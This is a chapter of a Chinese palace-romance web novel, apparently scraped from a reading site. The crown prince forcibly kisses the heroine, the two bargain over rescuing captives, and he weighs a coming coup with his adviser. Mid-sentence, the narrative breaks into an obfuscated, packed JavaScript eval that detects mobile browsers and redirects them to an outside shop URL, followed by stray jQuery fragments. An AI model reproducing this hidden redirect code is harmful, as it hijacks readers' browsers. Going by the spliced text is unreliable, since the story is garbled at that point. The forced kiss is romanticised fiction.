55. 初吻

作品:《东宫岁宁

    “……真的有事。”宣岁宁锁眉,心里有些烦躁。


    “真的想——”楚辛珏拖着懒懒尾音,没说最后一个字,直接低头往那樱红之处贴了去。


    宣岁宁瞪眼,想侧脸躲过,岂料楚辛珏似乎预料到她会这般一样,也偏头寻了过去。


    瞬间,一片温热落到她唇上,带着几分酒气,只静默几息,便探入她口中,缓慢地碾着。


    宣岁宁脑袋炸开,无意识地扇动眼睫,想躲却根本躲不掉,他长手牢牢贴在她后脑处,迫压她贴紧自己。


    他的吻,炙热又很生涩,霸道地撬开她的防御,随心所欲地攫取着,磕碰间,又麻又疼。


    宣岁宁发出咽呜声,有些喘不过气来,另一只空着的手摸到他腰间使劲掐,手指都掐疼了,楚辛珏都置若罔闻,反而掠夺得更狠了。


    他长指滑到她耳颈处,细细摩擦,过了许久才将人放开。


    他以额相抵,眸光潋滟如水,眉间尽是情动之色,声音暗哑道:“岁岁,不要离开孤。”


    宣岁宁面上一片红霞,微微喘着气,眸子晶亮,红唇润泽,单薄的里衣被他扯松了,露出一片莹白光景。


    她匆匆理好衣裳,抬手打了楚辛珏一巴掌,怒道:“无耻!”


    那柔柔的巴掌上哪有什么力气,就像是亲昵地抚慰一样。楚辛珏勾唇笑,眉眼间尽是令人陌生的柔情,他握住宣岁宁的手放到自己面上,“继续,你打一下孤就亲你一下,很公平。”


    “有病!”宣岁宁抽回手,双手使劲将他推开,起身逃到案桌另一方。


    她神情气愤,眼眸湿漉漉的,抬手粗砺地擦拭着满是他清冽气息的红唇,越擦越红,落在楚辛珏眼里又是难以克制地心猿意马。


    他眼睫压深,滚动了下喉结,持起桌上酒杯一饮而尽,掩去眸底的炙热余韵,“你刚刚有何事要与孤说?”


    宣岁宁背过身去,迟迟未开口,她心里很乱,脑海里满是刚才俩人亲密无间的滚烫,让她觉得很是陌生与后怕。


    他该一直高高在上对她喊打喊杀才是,突然间对她产生兴趣并百般亲近,叫她一时间难以从容应对。


    见她一直背对着自己不说话,身量单薄,盈盈一握,楚辛珏脱下月白外袍向她走去。


    宣岁宁瞥见他动作,吓了一跳,赶紧往后缩了两步,双臂交叉护在胸前,“你,你要做什么!”


    楚辛珏长臂挥动,将自己外袍披在她身上,又拢在一起将人包裹严实,“小心着了风寒。”


    修长锦袍醺着幽浅沉水香,还带着他身上的温热气息,瞬间驱走了宣岁宁身上沾惹的凉意,她有些贪恋这骤然而来的温暖,没再刻意抵抗。


    “我帮你救了一人,你也帮我救一人,如何?”


    今日一遭,她也算是明白了,单凭她一人之力游走宫闱,实在是危机四伏,即便是发现了青葙线索,短时间内也无力探查究竟,与那些天家贵人作对无疑是蜉蝣撼树。


    所以她救左僖不光是动了恻隐之心,也是多了一个可以与楚辛珏谈判的筹码。


    “说说看。”楚辛珏将她牵到案桌边,两人相对而坐。


    “我今日在宫中遇见了左僖内侍官,他伤得很重。”宣岁宁掏出左僖给的木雕小兽摆在桌上,开门见山。


    楚辛珏替她倒热茶的手一顿,努力克制眸中的讶色,“然后呢?”


    宣岁宁简单将今日在宫内的见闻说了一遍,“事不宜迟,万一冯颜醒后率先动手就麻烦了,你这会儿快快派人去东宫救他才是。”


    楚辛珏摆在案上的长指捏成拳头,一直没松开过,长眉低压,怒意沉沉,扬声唤来飞白,吩咐道:“联系暗影,务必从东宫救出左僖,盯着宸乾殿,一丁点地风吹草动都不要放过。”


    “还有,杀了冯颜。”


    宣岁宁手中杯盏一怔,几滴热茶溅了出去。


    “你想让孤帮你救谁?”其实只要她愿意开口,他都会为她办到,哪需要这般小心翼翼地思虑着如何与他做平等交换。


    “救青葙,那日被关春逝殿她就消失不见……”她内心深处不愿相信飞白说青葙被冯皇后的人拖出去打死了。


    “所以至始至终你什么都记得,对吗?太子妃!”


    “……”宣岁宁莫名有些心虚,见他如今模样应该不会再问她死罪,声量还是弱了几分,“也就刚刚才想起来。”


    楚辛珏意味不明地瞧着她,“既然你都记起来了,那咱们之间的账以后慢慢再算,孤先命人送你回永庆公府。”


    “……那,救青葙的事?”


    如果他没记错的话,昨日飞白就跟他汇报过,说是薛三小姐没找到,倒是先找到了先太子妃后头的小侍女,应该就是她口中唤作青葙的丫头。春逝殿一事后,他曾命飞白暗中留意失踪的青葙。


    楚辛珏轻咳两声,“孤会派人去找,在这期间你安心待在薛家等消息就好。你如今知晓了这等惊天秘密,最好不要再独自出去乱走动,要想散心的话,孤可以陪你。”


    他在提醒她不要再逃出他的视线范围,宣岁宁挑眉,只当没听见,低声敷衍,“嗯,知晓了。”


    楚辛珏瞧她这低眉顺耳的语气神态,直觉恍惚,从前她顶着薛凝月的脸,也是这般做小伏低的,事实上,从没把他放在眼里,事事阳奉阴违。


    “你先回去吧,你现在是薛家正儿八经的三小姐,薛家不会也不敢亏待你,孤还有事需要处理。”


    “对了,薛凝月也回薛家了,若遇上她,不必相让,孤替你撑腰。”楚辛珏对着宣岁宁背影道。


    她蓦地停了一瞬,她向来账算得明白,也不是那软弱可欺之人,还不必找人替她撑腰。


    宣岁宁走后,崔歧坐到楚辛珏对面,听他复述完颇为震惊。


    “这薛三小姐的话可信吗?”


    “自然。”不知道为什么,她此前生生骗了自己两个月,即便这次她不拿出那枚木刻小兽,他也会信她所说,她那双盈盈水眸像是有什么蛊惑人心


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622468|187408||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的魔力一般。


    “就因为她曾冒着刀山血海将你救出来,你就对她一见倾心了?”崔歧见他神色柔软,不复往日冷戾,极为陌生地看着他。


    “是,也不是。”楚辛珏不避讳谈这些,他凭心而行,从前并未尝过情爱滋味,眼下难得有个瞧上的女子,这感觉很是新奇。


    “孤喜欢她的心慈手软,也喜欢她的张牙舞爪,更喜欢她藏着一堆小心思与孤虚与委蛇。”


    被围杀那次,他第一次见到她真容,精致漂亮不说,更多的是顺眼,她义无反顾地将他护在身后,又不曾半途抛弃他,他惊讶触动之余,莫名想与她还有下一次见面。


    他不喜薛凝月,所以她假扮薛凝月期间,他屡次对她下手,毫无半点怜惜之意。


    知晓身份后,不知觉地将她自己的脸带入大婚后种种日常,觉得她性子既缓又急,温吞之余又透着几分狡黠,捉摸不定十分可爱。


    崔歧“啧”了一声,“殿下这可是自寻软肋!”


    楚辛珏轻笑,“可惜,都是孤一厢情愿罢了。”


    “……”只怕是这薛三小姐看不上他那臭冷脾性,崔歧劝道:“姻缘之事,不必强求。”


    楚辛珏挑眉睨着他,“你一介孤家寡人,居然也敢教孤姻缘之事?”


    “臣不敢。”崔歧有些尴尬地弹袍,言归正传道:“冯后一党谋反在即,可要传信给三殿下调兵回城?”


    “三弟远在北疆,虽手握二十万定北大军,但北疆不可乱,姑且只能调来五万兵力以作支援,此事你去安排。”


    “上次围杀之事已查清,背后之人正是七殿下,皇城司副统领宋文也是他的人,故意上演他不可能监守自盗的戏码混淆视听。最后一波杀手也是他从冯皇后那要来的精锐殿前司,势要置殿下与死地。”


    楚辛珏轻嗤,“狼子野心,手段也不过如此,从前便假模假样与孤交好,再背后狠狠捅孤一刀,小人做派,也不知那薛凝月看上他什么了。”


    他对此事耿耿于怀,即便心中极为不待见薛凝月,即便薛凝月已经移情别恋。


    “……”说着公事怎么又扯到私事上去了?崔歧有些不愿提及先太子妃与七皇子的私情,谁叫当时他枉做小人。


    “满打满算,如今我们手握两千府兵,两万摇摆不定的禁军,五万还远在北疆不知何时能抵达京都的定北军,而冯皇后那边却有四万皇城司,一万殿前司,以及多年来搜刮钱财豢养出的无数死士,可供随时差遣。”崔歧认真分析敌我势力,情况实在不容乐观。


    “你算错了。她迟迟未有动作,你真以为她是心存善念犹豫不决吗?不过是忌惮父皇留下的三千暗影。立朝以来,暗影才是帝王最忠诚最坚实的后盾,三千暗影优中选优,大可以一抵十,除了继位帝王,不听任何人差遣,连知道这个组织的人都凤毛麟角。”楚辛珏语意平常,像是在说一件无关紧要的事。


    崔歧听得心惊肉跳,如此重大机密倒不必云淡风轻地告诉他。